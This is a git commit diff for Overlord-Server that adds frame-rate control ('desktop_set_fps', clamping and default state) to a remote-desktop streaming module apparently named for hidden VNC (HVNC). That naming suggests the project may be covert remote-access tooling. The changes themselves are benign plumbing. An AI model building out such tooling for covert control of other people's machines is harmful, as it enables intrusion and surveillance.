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NVENC support

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This commit is contained in:
KingKDot
2026-06-06 16:08:28 -05:00
parent 7f8e5ff333
commit de67516285
29 changed files with 8820 additions and 14 deletions
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Overlord-Server/src/protocol.ts
+1
View File
@@ -119,6 +119,7 @@ export type CommandType =
| "desktop_select_display"
| "desktop_enable_mouse"
| "desktop_enable_keyboard"
| "desktop_set_fps"
| "darwin_request_permissions"
| "webrtc_publish"
| "webrtc_stop"
Overlord-Server/src/server/ws-console-rd-hvnc.ts
+24 -3
View File
@@ -168,6 +168,7 @@ export const rdStreamingState = new Map<string, {
codec: string;
duplication: boolean;
maxHeight: number;
maxFps: number;
lastFps: number;
}>();
const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
@@ -181,6 +182,15 @@ function pruneRdInputPending(now = Date.now()) {
}
}
function defaultRdStreamingState() {
return { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, maxFps: 120, lastFps: 0 };
}
function clampDesktopFps(value: unknown): number {
const fps = Math.floor(Number(value) || 120);
return Math.max(1, Math.min(240, fps));
}
function recordRdInput(commandId: string, clientId: string, kind: string) {
pruneRdInputPending();
rdInputPending.set(commandId, { clientId, sentAt: Date.now(), kind });
@@ -325,7 +335,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
return;
}
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, lastFps: 0 };
const state = rdStreamingState.get(clientId) || defaultRdStreamingState();
logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
@@ -366,6 +376,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
whepPath: `/api/webrtc/${streamPath}/whep`,
});
}
sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) });
sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true;
rdStreamingState.set(clientId, state);
@@ -489,6 +500,16 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
}
break;
}
case "desktop_set_fps": {
const newMaxFps = clampDesktopFps((payload as any).fps);
if (state.maxFps !== newMaxFps) {
sendDesktopCommand(target, "desktop_set_fps", { fps: newMaxFps });
state.maxFps = newMaxFps;
rdStreamingState.set(clientId, state);
logger.debug(`[rd] set target fps=${newMaxFps}`);
}
break;
}
case "desktop_set_duplication": {
const enabled = !!payload.enabled;
if (state.duplication !== enabled) {
@@ -648,7 +669,7 @@ function handleRemoteDesktopFrame(payload: any) {
const clientId = payload.clientId as string;
const header = payload.header;
const bytes = payload.data as Uint8Array;
const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, lastFps: 0 };
const state = rdStreamingState.get(clientId) || defaultRdStreamingState();
if (!state.isStreaming) {
state.isStreaming = true;
}
@@ -667,7 +688,7 @@ function handleRemoteDesktopFrame(payload: any) {
function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header?: any): boolean {
const frameFps = Number(header?.fps) || 0;
if (frameFps > 0) {
const state = rdStreamingState.get(clientId) || { isStreaming: true, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, lastFps: 0 };
const state = rdStreamingState.get(clientId) || { ...defaultRdStreamingState(), isStreaming: true };
state.lastFps = frameFps;
rdStreamingState.set(clientId, state);
}